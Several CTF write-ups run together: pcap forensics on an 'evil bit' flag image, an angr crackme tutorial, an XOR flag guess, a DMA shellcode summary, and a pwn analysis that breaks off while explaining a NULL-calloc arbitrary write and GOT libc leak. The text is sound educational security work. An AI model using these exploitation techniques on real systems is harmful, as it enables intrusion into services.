Check the original writeup URL for source code, images, and challenge resources. --- When opening the task's pcap with `wireshark`, we see TCP traffic composed of several conversations. A condensed view for these conversations is selecting `Context Menu > Follow > TCP Stream`, where we quickly see the contents at play: 1. From "10.136.127.157" to "10.136.108.29": data transmission in json format, containg key "data" and a base64 value;2. From "10.136.108.29" to "10.136.127.157": response string, containing the length of the received base64 value. One way to parse these contents is to identify filters for the corresponding packets, which can be obtained by selecting a field in the details pane and selecting `Context Menu > Apply as Filter > Selected`. Extract the data transmission packets: ```bashtshark \ -r challenge.pcap \ -Y 'data.data && ip.dst_host == 10.136.108.29' \ -T json \ > challenge.json``` Parse contents, decode base64 and dump the decoded data to files: ```python#!/usr/bin/env python3 from ipdb import launch_ipdb_on_exceptionimport base64import binasciiimport jsonimport osimport sys with open(sys.argv[1], "r") as f: contents = f.read() out_dir = './out'if not os.path.exists(out_dir): os.makedirs(out_dir) with launch_ipdb_on_exception(): packets = json.loads(contents) for i, packet in enumerate(packets): if "data" not in packet["_source"]["layers"]: continue data = packet['_source']['layers']['data']['data.data'].replace(':', '') hex_bytes_clean = ''.join(data.split()) raw_bytes = binascii.a2b_hex(hex_bytes_clean) parsed_data = json.loads(raw_bytes)['data'] is_decoded = False while not is_decoded: try: decoded_data = base64.b64decode(parsed_data) is_decoded = True except binascii.Error: parsed_data += '0' raw_bytes = decoded_data with open("{}/{:08d}".format(out_dir, i), 'wb') as f: f.write(raw_bytes)``` Notice how some base64 values seemed to be truncated, so I had to add some padding bytes (`parsed_data += '0'`) in order to decode them. I've looked at response messages as well, by counting each distinct type of message (the only variable in the template is the received length, which is filtered out): ```bashtshark \ -r challenge.pcap \ -Y 'data.data && ip.dst_host == 10.136.127.157' \ -T fields \ -e data.data \ | sed 's/://g' \ | xargs -i sh -c 'echo "$1" | xxd -r -p; printf "\n"' _ {} \ | sed 's/[0-9]\+\( bytes\)/_\1/g' \ | sort \ | uniq -c``` Output: ```66 cookies? nom nom nom, thanks for sending _ bytes84 ho brah, you wen sen _ bytes? chee, garans ball-barans i wen use em!86 Oh, is that all? Well, we'll just.. WAIT, WHAT?! You only sent _ bytes?78 OwO what's this? _ bytes? wow, thanks, they wewe vewy yummy :)``` Sure enough, one type complains about the number of received bytes. So maybe our data was being partially sent in some transmissions? If we check the mime types of our data files: ```bashfile -k * \ | sed 's/[^:]*:[ \t]*\(.*\)/\1/' \ | sort \ | uniq -c \ | sort -n``` We see several false positives, a few JPEGs, and unidentified files: ``` 1 MPEG ADTS, layer II, v1, 64 kbps, 44.1 kHz, Stereo\012- data 1 Non-ISO extended-ASCII text, with CR, NEL line terminators, with escape sequences\012- data 1 Non-ISO extended-ASCII text, with no line terminators\012- data 1 PGP Secret Sub-key (v1) [...] 1 SysEx File -\012- data 1 TeX font metric data [...] 1 TTComp archive, binary, 4K dictionary\012- data 5 COM executable for DOS\012- data 51 JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 200x200, frames 3\012- data 251 data``` If we load one of the images in [`Kaitai IDE`](https://ide.kaitai.io/), it seems to be parsed successfully. It appears that the file is truncated, with the last field corresponding to image data. I tried a more fault-tolerant approach by using `imagemagick` to convert these partial JPEGs to PNGs, which allowed me to view them: ```bashfile -k * \ | grep image \ | cut -d':' -f1 \ | xargs -i convert {} {}.png``` They all seem blurry and corrupted, and notably one of them contains the flag! If we check the metadata with `exiftool`, we can see the encoding process is "progressive". If you were fortunate enough to have enjoyed [dial-up speeds in the past](https://youtu.be/ntQ48-d-8x4?t=729), the effect we see in our images corresponds to partially loaded image data, which could be observed with slower download speeds. For images encoded as "baseline", you only got to see a few lines as it was being loaded. With these insights, I went for a bruteforce approach, simply concatenating the non-image files (filtered by `grep -v image`) with the flag file, and inspecting them one by one to see if the image would get progressively more complete: ```bashfile -k * \ | grep -v image \ | cut -d':' -f1 \ | xargs -i sh -c 'cat 00000095 "$1" > ../out_2/"00000095_$1"' _ {}``` With this process, we find that files 95 and 106 are a match. Concatenate these two and repeat the process. With the second iteration, we find that files 95, 106 and 223 give us the full flag. # Intended Solution After the challenge ended, one of the organizers clarified what RFC they were referencing: > <https://www.ietf.org/rfc/rfc3514.txt> > you can analyze the packets to see some have the evil bit, the image data of those packets gives the flag I tried to come up with an approach that would make this kind of "needle in a haystack" metadata more explicit. Given that only a few packets would contain the flag pieces, we wanted to observe **metadata field values were most of the packets had one value and a few had another value** (fields where all packets differed or were identical could be safely discarded). Sticking with the line-oriented analysis, I flatten the `tshark` json output using [`gron`](https://github.com/tomnomnom/gron), which allows us to aggregate each field across conversations, since the full path and value of a given field is output in a single line. The following awk script parses these lines by: - Filtering out the initial prefix, which is just the index of the array of conversations;- Counting each occurrence of a field value;- Filtering out occurrences that only had one match (i.e. they were distinct in all packets);- Printing the occurrence count and the value for each field, sorted at the end for manual comparisons. ```bashgron challenge.json \ | awk ' match($0, /^json\[[0-9]*\]\./) { s = substr($0, RLENGTH + 1, length($0)) a[s]++ } END { for (i in a) { if (a[i] != 1) { print a[i] " " i } } }' \ | sort -n``` In a first pass, fields related to time deltas and lengths can be ignored, as these are less likely to contain relevant information. We can also ignore those that match the total number of conversations (314). Eventually we find some mostly common fields (309), related to flags in the IP protocol: ```[...]9 _source.layers.tcp["tcp.analysis"]["tcp.analysis.bytes_in_flight"] = "1314";9 _source.layers.tcp["tcp.analysis"]["tcp.analysis.push_bytes_sent"] = "1314";9 _source.layers.tcp["tcp.len"] = "1314";9 _source.layers.tcp["tcp.nxtseq"] = "1315";309 _source.layers.ip["ip.flags"] = "0x00000000";309 _source.layers.ip["ip.flags_tree"]["ip.flags.rb"] = "0";314 _index = "packets-2020-07-18";314 _score = null;314 _source = {};314 _source.layers = {};[...]``` Seems like `ip.flags.rb` is a good candidate for closer inspection. If we look at the other values for this field: ```[...]5 _source.layers.ip["ip.checksum"] = "0x000074cb";5 _source.layers.ip["ip.checksum"] = "0x000074d2";5 _source.layers.ip["ip.checksum"] = "0x000074d9";5 _source.layers.ip["ip.flags"] = "0x00008000";5 _source.layers.ip["ip.flags_tree"]["ip.flags.rb"] = "1";5 _source.layers.ip["ip.len"] = "1364";5 _source.layers.ip["ip.len"] = "1368";5 _source.layers.ip["ip.len"] = "1371";[...]``` We find that a few had the reserved bit set. It seems to match the description for the "evil bit" in the RFC: > The high-order bit of the IP fragment offset field is the only unused bit in the IP header. Now we can repeat the data extraction process, this time with a finer-grained filter: ```bashtshark \ -r challenge.pcap \ -Y 'data.data && ip.dst_host == 10.136.108.29 && ip.flags.rb == 1' \ -T json \ > challenge_rb_set.json./challenge.py challenge_rb_set.jsoncd ./outfile -k *``` There is only one image file and a few unidentified files: ```00000000: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 200x200, frames 3\012- data00000001: data00000002: data00000003: data00000004: data``` The flag can be obtained by concatenating the first 3 files, although I still required the `convert` workaround to view it. To figure out why the image was considered invalid, I looked up a breakdown of the [JFIF file format](https://raw.githubusercontent.com/corkami/pics/master/binary/JPG.png), which lead me to search our files for the "end of image" marker with `grep $'\xff\xd9' *`, which returned no matches. So the complete flag also needs those magic bytes appended to work with picky image viewers: ```bashcat 00000000 00000001 00000002 <(printf '%s' $'\xff\xd9') > flag.jpg```
TL;DR DMA status isn't cleared on reset, unbounded write at address 0 upon reset -> load shellcode & win [Read the full writeup](https://ethanwu.dev/blog/2020/07/16/chujowy-ctf-ford-cpu/)
[Original writeup](https://ohaithe.re/post/624142953693249536/uiuctf-2020-cricket32) This writeup will be an example in using [angr](https://angr.io/) to โ€œautomaticallyโ€ solve this problem. But along the way, weโ€™ll find two deficiencies in angr, and show how to fix them! Beyond being a writeup of this problem -- there is very little information specific to this challenge -- this can serve as an angr use and development tutorial. ## Challenge: We are given a file `cricket32.S`, which contains 32-bit x86 assembly and instructions for assembling: ```language-nasm// gcc -m32 cricket32.S -o cricket32 .textstr_usage: .string "Usage: ./cricket32 flag\nFlag is ascii with form uiuctf{...}\n"str_yes: .string "Flag is correct! Good job!\n"str_nope: .string "Flag is not correct.\n" .global mainmain:mov $str_usage, %ebxxor %esi, %esi SNIP jmp printf``` Note that the `-m32` flag will force `gcc` to compile a 32-bit executable. The assembly is pretty short, but has a few hard-to-interpret instructions, such as `aaa` (ASCII Adjust After Addition), `sahf` (Store AH into Flags), and so on. It's possible these are filler meant to distract; it's also possible that they're being used as part of some bizarre check, or as _data_ (if the program is reading its own code). ## Approach Instead of trying to reverse engineer this ourselves, we'll be using [angr](https://angr.io/) to solve for the input. After compiling it, we open it up in IDA to see what addresses we might care about: ![](https://64.media.tumblr.com/8cb15dc61a5432a8abca9d8906f28b17/3213395e899ff101-fc/s540x810/1595217910/b40edd90ead8a8dabbf6997eff47bf9063ee9486.png) We see that if the code reaches `0x12BD`, it will load `str_nope`, and then proceed straight to `loc_12BC` and `printf`. This is our failure condition. We'll load the binary in angr and tell to find an input that allows us to avoid that address, `0x12BD`. ```language-pythonimport angrimport claripy project = angr.Project("./cricket32", auto_load_libs=True) flag_len = 32arg1 = claripy.BVS('arg1', flag_len*8) initial_state = project.factory.entry_state(args=["./cricket32", arg1])``` Here `arg1` is our symbolic representation of the argument to the binary. We've allocated 32 bytes to (`flag_len`), hoping this is enough. Since arg1 can have zero-bytes, effectively being shorter than 32, this will work as long as the flag is *at most* 32 bytes long. Running the above code produces the output: ```WARNING | 2020-07-19 20:08:15,647 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.``` so the address that we wanted to avoid, `0x12bd`, will actually be `0x4012bd`. Let's now `explore` for that address: ```language-pythonsm = project.factory.simulation_manager(initial_state) sm.explore(avoid=[0x40128D])``` Unfortunately, we are left with the result `<SimulationManager with 26 avoid (7 errored)>`. When angr explores paths, it has a few different "stashes" that paths can be in. There are: * `active`: paths that have not been fully explored yet * `deadended`: which is paths that terminated the program * `avoid`: paths that reached somewhere we didn't want it to * `found`: paths that found an explicit destination request (we gave no such destination here) * `errored`: indicating that angr was unable to continue with a path. Ideally we would have had a `deadended` path here, meaning that a program successfully terminated without reaching the `avoid`ed point of `0x4012bd`. Since we didn't, let's take a look at the errors. `sm.errored[0]` will get the first state in the `errored` stash, and on the console we get: ```<State errored with "IR decoding error at 0x4012a2. You can hook this instruction with a python replacement using project.hook(0x4012a2, your_function, length=length_of_instruction).">``` What's `0x4012a2`? Looking in IDA again, we see the `crc32 edx, dword ptr [esi]` instruction. The `crc32` instruction is used to compute a [cyclic redundancy check](https://en.wikipedia.org/wiki/Cyclic_redundancy_check). This is a somewhat complicated operation, and generally rare, so it's not terribly surprising that `angr` doesn't know how to translate it into constraints. As suggested, we can implement a hook to emulate this. ## Angr Hooks A hook in angr is used to modify or replace a piece of code. A `syscall` instruction may, for instance, invoke some complicated kernel behavior, and hooking it could allow us to substitute our own behavior; or a simple `call` might be hooked to modify the execution. When writing a hook, it is important to remember we are working with *symbolic* values, not actual integers, so that we ultimately return a mathematical expression representing the modified state. Our hook will intercept the `crc32` instruction, emulate it, and then return control flow at the end of the instruction. The `crc32` instruction is 5 bytes long, so our hook starts: ```language-pythondef crc32_hook(state): pass project.hook(0x4012a2, crc32_hook, length=5)``` Next we need to implement the correct behavior. Since all computations must be symbolic, we can't just use a library implementation of CRC32. Additionally, most CRC32 implementation use the "CRC-32" specification, with the 0x04C11DB7 polynomial (essentially a magic number). The x86 crc32 instruction instead uses the "CRC-32C", or "Castagnoli", specification, with the 0x1EDC6F41 polynomial. Some googling turns up [this implementation of CRC-32C](https://chromium.googlesource.com/external/googleappengine/python/+/refs/heads/master/google/appengine/api/files/crc32c.py) we can adapt. ```language-pythonCRC_TABLE = ( 0x00000000, 0xf26b8303, 0xe13b70f7, 0x1350f3f4, # ... SNIP ... 0xbe2da0a5, 0x4c4623a6, 0x5f16d052, 0xad7d5351, ) table_dict = {i: claripy.ast.bv.BVV(CRC_TABLE[i],32) for i in range(256)} def get_crc32_table_BVV(i): i = i.to_claripy() return claripy.ast.bool.ite_dict(i, table_dict, 0xFFFFFFFF) def crc32c(dst,src): b32 = src crc = dst for i in [3,2,1,0]: b = b32.get_byte(i) shift = (crc >> 8) & 0x00FFFFFF onebyte = crc.get_byte(3) crc = get_crc32_table_BVV(onebyte ^ b) ^ shift return crc``` Here we need to do a symbolic table lookup, which we can implement with [`ite_dict`](https://github.com/angr/claripy/blob/f2c1998731efca4838a4edb9dec77e0424c5f691/claripy/ast/bool.py#L164). `ite_dict(i, table_dict, 0xFFFFFFFF)` means that we use the key-value pairs in `table_dict` to look up `i`; the default value will be 0xFFFFFFFF is not in the dict (but in our case it always will be). Then our `crc32c` method computes the update to running CRC32 `dst` using the four bytes in `src`. Our hook is then: ```language-pythondef crc32_hook(state): crc = state.regs.edx addr = state.regs.esi b32 = state.memory.load(addr).reversed print('CRC32 accessing ',b32) state.regs.edx = crc32c(crc, b32)``` This clearly not a drop-in replacement for any `crc32` instruction: we've hard-coded that the source operand is `dword ptr [esi]` and our destination is `edx`. But that will work for our purposes here. After adding our hook, we reload the initial state and `explore` as before. The search continues for a few seconds, until we get a *very* long stack trace that eventually ends: ```RecursionError: maximum recursion depth exceeded while calling a Python object``` Urk. ## Removing recursion This turns to come from a shortcoming of how [`ite_dict`](https://github.com/angr/claripy/blob/f2c1998731efca4838a4edb9dec77e0424c5f691/claripy/ast/bool.py#L164) is implemented. It passes the dictionary to `ite_cases`, which loops a `claripy.If` expression -- essentially a ternary operator. In our case, this produces an expression like ```language-pythonclaripy.If(i == 0, 0x00000000, claripy.If(i == 1, 0xf26b8303, claripy.If(i == 2, 0xe13b70f7, claripy.If(i == 3, 0x1350f3f4, ... <255 levels like this>))))``` and when Z3 (the backend constraint solver) tries to analyze this, it balks at the depth of the expression. There are two options now: (1) implement a better version of `ite_dict`, or (2) use a table-free imeplemtation of CRC-32C. In the competition, we used option (2). Googling some more for how to generate the table leads us to [this page](https://medium.com/@chenfelix/crc32c-algorithm-79e0a7e33f61) on generating the table. Instead of generating a table and storing it, we can just "recompute" (symbolically) the value each our `crc32` instruction is hit. This leads to the code, ```language-pythondef get_crc32_calc_BVV(i): crc = i.zero_extend(32 - i.size()); if isinstance(crc, angr.state_plugins.sim_action_object.SimActionObject): crc = crc.to_claripy() for j in range(8): shift = ((crc >> 1) & 0x7FFFFFFF) cond = crc & 1 > 0 crc = claripy.If(cond, shift ^ 0x82f63b78, shift); return crc``` The `crc.to_claripy()` here is necessary in case angr passes us a `SimActionObject` instead of an actual symbolic value. Then the rest of the operations work just like the C code in the link above, with the `claripy.If` replacing C's ternary operator. Then we replace the appropriate line in our `crc32c` function to use `get_crc32_calc_BVV` instead of `get_crc32_table_BVV`. Looking at our code so far: ```language-pythonimport angrimport claripy #copy implementation from https://medium.com/@chenfelix/crc32c-algorithm-79e0a7e33f61def get_crc32_calc_BVV(i): crc = i.zero_extend(32 - i.size()); if isinstance(crc, angr.state_plugins.sim_action_object.SimActionObject): crc = crc.to_claripy() for j in range(8): shift = ((crc >> 1) & 0x7FFFFFFF) cond = crc & 1 > 0 #print(crc & 1 > 0) crc = claripy.If(cond, shift ^ 0x82f63b78, shift); return crc def crc32c(dst,src): b32 = src crc = dst for i in [3,2,1,0]: b = b32.get_byte(i) shift = (crc >> 8) & 0x00FFFFFF onebyte = crc.get_byte(3) crc = get_crc32_calc_BVV(onebyte ^ b) ^ shift return crc def crc32_hook(state): crc = state.regs.edx addr = state.regs.esi b32 = state.memory.load(addr).reversed print('CRC32 accessing ',b32) state.regs.edx = crc32c(crc, b32) project = angr.Project("./cricket32", auto_load_libs=True) flag_len = 32arg1 = claripy.BVS('arg1', flag_len*8) initial_state = project.factory.entry_state(args=["./cricket32", arg1]) sm = project.factory.simulation_manager(initial_state) project.hook(0x4012a2, crc32_hook, length=5) sm.explore(avoid=[0x40128D])``` At the end we are left with: `<SimulationManager with 6 deadended, 33 avoid>`. Fantastic! That means 6 paths successfully terminated without hitting `0x4012bd`. Each of these `SimState`s are listed in `sm.deadended`. To get the input, we can call `state.make_concrete_int(arg1)`, which will return `arg1` as a big integer; then `.to_bytes(32,"big")` to turn it into a string: ```language-python>>> for state in sm.deadended:... state.make_concrete_int(arg1).to_bytes(32,"big")... b'uiuc\xdbK\xdf\x9d\xf0N\xd6\x95cket_a_c\xddL\xc7\x97it}\x00\x00\x00\x00\x00'b'\xdaD\xd1\x9ftf{a_cricket_a_c\xddL\xc7\x97\xc6Y\xd9\xfc\x00\x00\x00\x00'b'uiuctf{a\xf0N\xd6\x95\xccF\xc1\x88_a_crack\xc6Y\xd9\xfc\x02\x00\x00\x00'b'\xdaD\xd1\x9f\xdbK\xdf\x9d\xf0N\xd6\x95cket_a_c\xddL\xc7\x97\xc6Y\xd9\xfc\x10\x10\x00\x00'b'\xdaD\xd1\x9ftf{a_cri\xccF\xc1\x88\xf0L\xfb\x9frack\xc6Y\xd9\xfc \x01\x00'b'uiuctf{a\xf0N\xd6\x95\xccF\xc1\x88_a_c\xddL\xc7\x97\xc6Y\xd9\xfc\x01\x04\x01\x08'``` We see that angr has found 6 solutions that *technically* would work as input to the program, and indeed several start with `uiuctf{` -- a sign we're on the right track! But they're filled with non-printable characters. The astute eye might piece together the flag from the above malformed fragments, but the "right" thing to do is to do tell angr that each byte of input will be printable ASCII (or zero). ## Cleanup ```language-pythonfor b in arg1.chop(8): initial_state.add_constraints((b == 0) | ((b > 31) & (b < 127))) for i in range(len("uiuctf{")): b = arg1.chop(8)[i] initial_state.add_constraints(b == ord("uiuctf{"[i]))``` It's important to note that -- perhaps a bit surprisingly -- compound constraints are formed using `|` and `&`, not Python's `or` and `and` keywords. `arg1.chop(8)` breaks the 256-bit vector `arg1` into a list of 8-bit bytes, and we add a constraint for each byte. The second loop actually forces that the flag starts with `uiuctf{`. Probably not strictly necessary, but will definitely accelerate solving. This code gets inserted right before `initial_state = project.factory...`. The evaluation now takes less than a minute, and ends with ```language-python<SimulationManager with 1 deadended, 26 avoid>>>> >>> for sol in sm.deadended:... print(sol.posix.dumps(1))... sol.make_concrete_int(arg1).to_bytes(32,"big")... b'Flag is correct! Good job!\n'b'uiuctf{a_cricket_a_crackit}\x00 @@\x00'``` Flag get! ## A reality check In practice, progress wasn't quite this linear. Some gotchas I encountered were: * Needing to use `.to_claripy()` in the hook -- if you don't, the hook runs fine, and then you get weird and inscrutable errors later. * Figuring out what the recursion error was coming from. Was determined by shrinking the dictionary size and watching the problem go away (although of course no solution was found). * Lots of byte-ordering issues. angr will often store the bytes the opposite order you expect, so e.g. forcing the string to start with `uiuctf{` was something initally done backwards. * LOTS more byte-ordering issues in implementing the CRC. And sign-bit madness. If you think translating bit-fiddly C code to Python is bad, try translating bit-fiddly C code to symbolic Python with unusual endianness. ## Postscript: A better `ite_dict` During the competition, I use a loop implementation of CRC-32 that didn't use a table. In practice, there's little reason why a table couldn't be used, if the if-then-else statement went in a binary tree instead. So I wanted to try that too! Code: ```language-python #Improved version of ite_dict that uses a binary search tree instead of a "linear" search tree.#This improves Z3 search capability (eliminating branches) and decreases recursion depth:#linear search trees make Z3 error out on tables larger than a couple hundred elements.)# Compare with https://github.com/angr/claripy/blob/f2c1998731efca4838a4edb9dec77e0424c5f691/claripy/ast/bool.py#L164def ite_dict(i, d, default): i = i.ast if type(i) is claripy.ast.base.ASTCacheKey else i #for small dicts fall back to the old implementation if len(d) < 4: return claripy.ast.bool.ite_cases([ (i == c, v) for c,v in d.items() ], default) #otherwise, binary search. #Find the median: keys = list(d.keys()) keys.sort() split_val = keys[len(keys)//2] #split the dictionary dictLow = {c:v for c,v in d.items() if c <= split_val} dictHigh = {c:v for c,v in d.items() if c > split_val} valLow = ite_dict(i, dictLow, default) valHigh = ite_dict(i, dictHigh, default) return claripy.If(i <= split_val, valLow, valHigh) def get_crc32_table_BVV(i): i = i.to_claripy() return ite_dict(i, table_dict, 0xFFFFFFFF)``` With this modified version of `get_crc32_table_BVV`, the table-based code ran fine. Interestingly, it took several minutes to solve -- quite a bit slower than the "slow" and "complicated" loop-based implementation. In general though, I expect the binary tree would be faster for Z3 to analyze than a linear expression. I've [created a pull request](https://github.com/angr/claripy/pull/181) to get this improvement into angr, hopefully. :)
[Original writeup](https://ohaithe.re/post/624202013681549312/uiuctf-2020-nookstop-20) This is a *very un-hacking* solution: we basically just guess the flag! We start with [this page](https://nookstop2.chal.uiuc.tf/), which looks a lot like Nookstop 1.0. Just as before, we run ```language-javascriptdocument.cookie="secret_backend_service=true";``` to enable the "secret backend service" (as clued by the Japanese text in the source code of the page). Reloading the page gives a link to [the real challenge](https://nookstop2.chal.uiuc.tf/b9157a97-3a50-42c4-b08a-f19ebcc579fc/abd), which is running Emscripten. ```Grabbing your banking information......Your routing number is: 0x9a0 2464Your account number has been successfully transmitted using the latest XOR encryption, and is not shown here for security reasons.Please stand by while the ABD decrypts it....... Calling decrypt function.... wkwcwg{c3oo33os[Byte 7F here]Uh-oh! There's been an error!``` One approach would be to dump out [the WebAssembly file](https://nookstop2.chal.uiuc.tf/b9157a97-3a50-42c4-b08a-f19ebcc579fc/index.wasm), as easily found by looking at the page's network requests; then it can be reversed with the help of tools like [wasm](https://github.com/wwwg/wasmdec) or [wabt](https://github.com/WebAssembly/wabt). Unfortunately, Emscripten adds a bunch of external code that is hard to reason about within the context of just the .wasm file, and so these decompilers produce output that is next-to-useless. Let's skip the reversing. The text above hints that there's some kind of XOR going on, and we have a corrupted key: `"wkwcwg{c3oo33os\x7f"`. This corrupted key looks awfully similar to `"uiuctf{"`, in the start. Let's XOR the two together and see what the difference is. ```language-python>>> os = "wkwcwg{c3oo33os\x7f">>> bs = "uiuctf{">>> print( [ord(os[i])^ord(bs[i]) for i in range(len(bs))] )[2, 2, 2, 0, 3, 1, 0]``` Aha, so all of the XORs are off by a number from 0 to 3 -- that is, just the bottom two bits are wrong. Let's dump out all the candiate characters in the flag: ```language-python>>> for b in os:... print( chr(ord(b) ^ 0) + chr(ord(b) ^ 1) + chr(ord(b) ^ 2) + chr(ord(b) ^ 3) )... wvutkjihwvutcba`wvutgfed{zyxcba`
[FAUST CTF 2020](https://ctftime.org/event/1000) was an online __attack-defense__ CTF, so all challenges during the CTF were presented in the form of network services โ€” each service was listening some TCP port and constantly handling requests. If the service was a web-server, it was running over the HTTP protocol, but in another case it accepted a connection and transmitted data over the TCP protocol. __Cartography__ is a TCP service, contains single binary file named `cartography` and `./data/` folder that contains any user data saved in the service. Write your own socket server is a bit painful, so it's normal to use additional network daemons (_inetd_, _xinetd_, _socat_, etc...) that listen a TCP socket and spawn a process on every connection. With this approach you don't need to analyze any network infrastructure code, it allows you to direct all your attention to the service logic. Thus the given binary reads from stdin and writes into stdout as if we run it from a normal shell. But on the server side stdin and stdout file descriptors are connected with socket, the binary runs independently for each connection, and all users of the service don't conflict with each other. Let's try to run it from bash: ```sh$ ./cartography ......... ..',;:;;:clc;cc:cc;'..... .';:cllcloollcc:;::;;''',,;::;,.. .,cllloooooolllllllllllcc:::::::::c:;'. .,coooooooddddddoooooooooolcc:::;;;;;,,;:;'. .;loodddddddddddddddooodddoollllcc::;;,''''',,.. .;cllloodddddddddddoodooooooolllccclllcc:;,'...'''.. .:clllllooooodxxkkkkxddooooooooolllccccccc:;,'..''',;' ,lllooooooooodxkO0KK0Oxollooooooooooolllcllc::;,,,,,,;:, .;clooddoooooodxxxkOOOxdollllooooooooooooolllc:::;;,,,,,;c;. ,clodddooooooodddddodddoollloolloooooooooolc:::;::;,,,,,,,:; 'clooxkkxdoddooooooooooolllllllllllooooooool:;;;;;:;;;,,,,,;c' .:loodkO0Odloooddoolllllcccllllllllloddddddoc:;,;,,;:::;,,,;;:;. ,looodkO0Kkcloooooollllcccclllllllllooddddddoc:;:;,;ccc;;;;;:cc' .:oddoox0Okxlloddddxdollcllcclooooolooooolllllc:::;,;:cc:::::cll;. .coodooooolcccodkOO00Oxooddodddddxdooooollccccccc::::::ccc:ccccc;. .coooolc:::::lodxO0000OkxxkOkxdddddooddoolllllllcllcccccccccccc:;. .clooolccccccodddxkkk00OddkOkxxdddddddxxddddddolccclccccllllccc:;. .cooooolcllooodxxddxkOOxllodxkOOOOOOOkxxdxxxxddooccccccoooooc:;;,. :oodddoooloodxxkxdddddollodkOOOOOOOOkxddxxxxdooolllc:cllllcc:,,' 'odxxddooooodxO0OxddddooooodkOOOOOkxxddxxxkxxdolllc:;;:;:c::;''. .cxxxxxddddddxxxkxdxxxdddxxxxxdddoodddxdodxkxdollcc;;;;::::;,,. .lkkkkxxdxxkxooddxxxxxxxxxxdllccclooddolloxdoolcc:;;;;;;;:;,'. 'okkkkxxxkOkdolodddxxxxkOkoc::cccccllcccclllllc:;;,;;;:::;,. 'oxkkkkxkkkxxddoolloddkOOxoccccllllllc::::cc::;;,;;,;:::,. .cdxxxxddddxkxddddodddddddollooollcccccccc:;;;,,;;;;:;'. ,looddodooooodxxddddddddddooolc:::::::::;;;,,,,,,;,. .,loooooollloddddddooolllccc:::;;;;;;;;,,,,,,,,,. .':ccllllllododddolc:;;;;::;;;;;;;;;,,''',,,.. ..,;:ccccllooooolc:;;;;,,;;;;;;;;;;,,;;,. ..,;:ccccccclollcllcc:;;;;;:cllc:,.. ..',:ccccllllllcc::::::;,'... ........'''...... ______ __ __ / ____/___ ______/ /_____ ____ __________ _____ / /_ __ __ / / / __ `/ ___/ __/ __ \/ __ `/ ___/ __ `/ __ \/ __ \/ / / / / /___/ /_/ / / / /_/ /_/ / /_/ / / / /_/ / /_/ / / / / /_/ / \____/\__,_/_/ \__/\____/\__, /_/ \__,_/ .___/_/ /_/\__, / /____/ /_/ /____/ Options:0. New Sector1. Update Sector Data2. Read Sector Data3. Save Sector4. Load Sector5. Exit>``` It draws a nice planet, prints a menu and asks for a user input. Since it's a binary service, most likely it's a PWN, so I also downloaded `libc.so.6` from the vulnerable image belonging to our team: ```sh$ file libc-2.28.so libc-2.28.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/l, BuildID[sha1]=18b9a9a8c523e5cfe5b5d946d605d09242f09798, for GNU/Linux 3.2.0, stripped $ ./libc-2.28.so GNU C Library (Debian GLIBC 2.28-10) stable release version 2.28.Copyright (C) 2018 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 8.3.0.libc ABIs: UNIQUE IFUNC ABSOLUTEFor bug reporting instructions, please see:<http://www.debian.org/Bugs/>.``` Let's start analyzing the binary. First we check for enabled security mitigations: ```sh$ file cartographycartography: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=957dd5021210d75153b252c7fd8baf6437192db2, stripped $ checksec cartography Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)``` As you see, stack canary and NX are enabled, but PIE is disabled and GOT table is rewritable. What does it mean? At least, we don't need to leak base address of the binary (it's fixed), so we can reuse all the code and imported functions. Also if we could rewrite some GOT entries, then we would intercept the execution flow when calling the imported function and jump into another function. I will use IDA to reverse the binary. As you see above, there are several menu items for some actions. We input an integer, and it goes to switch/case operator inside the main function. After some analysis we could understand that there are two global variables: `current_chunk` (pointer) and `current_chunk_size` (integer). The entire binary does some operations with these two variables: - when we create "New Sector", it frees `current_chunk`, allocates a new chunk (using calloc) with specified size and sets `current_chunk` to the new chunk and `current_chunk_size` to the size of the new chunk- when we "Update Sector Data", it asks for `offset`, `data` and writes `data` in the `current_chunk` by the specified `offset`- when we "Read Sector Data", it asks for `offset`, `size` and reads `size` bytes from the `current_chunk` by the specified `offset`- when we "Save Sector", it just dumps the `current_chunk` data on the disk (it uses to store data in the service)- when se "Load Sector", it just loads the chunk from the disk and sets `current_chunk` to this chunk (it uses to retrieve data from the service) I will provide a pseudocode of the first three menu action: ```c++case 0u: // New Sector puts("Enter the sector's size:"); if (!fgets(&buf, 32, stdin)) exit(1); sector_size = strtoll(&buf, &endptr, 10); if (*endptr != 0 && *endptr != 10 || sector_size >> 63) { printf("Invalid size for sector: %s\n", &buf;; } else { free(current_chunk); current_size = sector_size; current_chunk = calloc(1uLL, size); puts("Sector created!"); } break; case 1u: // Update Sector Data puts("Where do you want to write?"); if (!fgets(&buf, 32, stdin)) exit(1); offset = strtol(&buf, 0LL, 10); puts("How much do you want to write?"); if (!fgets(&buf, 32, stdin)) exit(1); size = strtol(&buf, 0LL, 10); if (offset < 0 || size < 0 || offset + size > current_size) { puts("Invalid range"); } else { puts("Enter your sensor data:"); if (size != fread((char *)current_chunk + offset, 1uLL, size, stdin)) exit(1); fgetc(stdin); } break; case 2u: // Read Sector Data puts("Where do you want to read?"); if (!fgets(&buf, 32, stdin)) exit(1); offset = strtol(&buf, 0LL, 10); puts("How much do you want to read?"); if (!fgets(&str_buf, 32, stdin)) exit(1); size = strtol(&buf, 0LL, 10); if (offset < 0 || size < 0 || offset + size > current_size) puts("Invalid range"); fwrite((char *)current_chunk + offset, size, 1uLL, stdout); _IO_putc(10, stdout); break;``` As you see, there is a little bug in "New Sector" action: ```c++if (*endptr != 0 && *endptr != 10 || sector_size >> 63)``` If `sector_size` < 2 ** 63, then `sector_size >> 63` is always false, so there is no check for a new chunk size. Remember a bit how malloc works (calloc uses malloc inside): if the requested size is a very big (bigger than all available memory, so the operating system can not allocate such big chunk), malloc returns NULL. __Example__: `malloc(999999999999999999)` will return `NULL` if your computer does not have 931322574 gigabytes of RAM. But 999999999999999999 is still lower than 2 ** 63, so we can request a chunk with that size. When we get NULL pointer, there is no checks for NULL, and we could read and write data on arbitrary location (using `offset` value). Using this method, we could leak a libc address from the GOT table. And 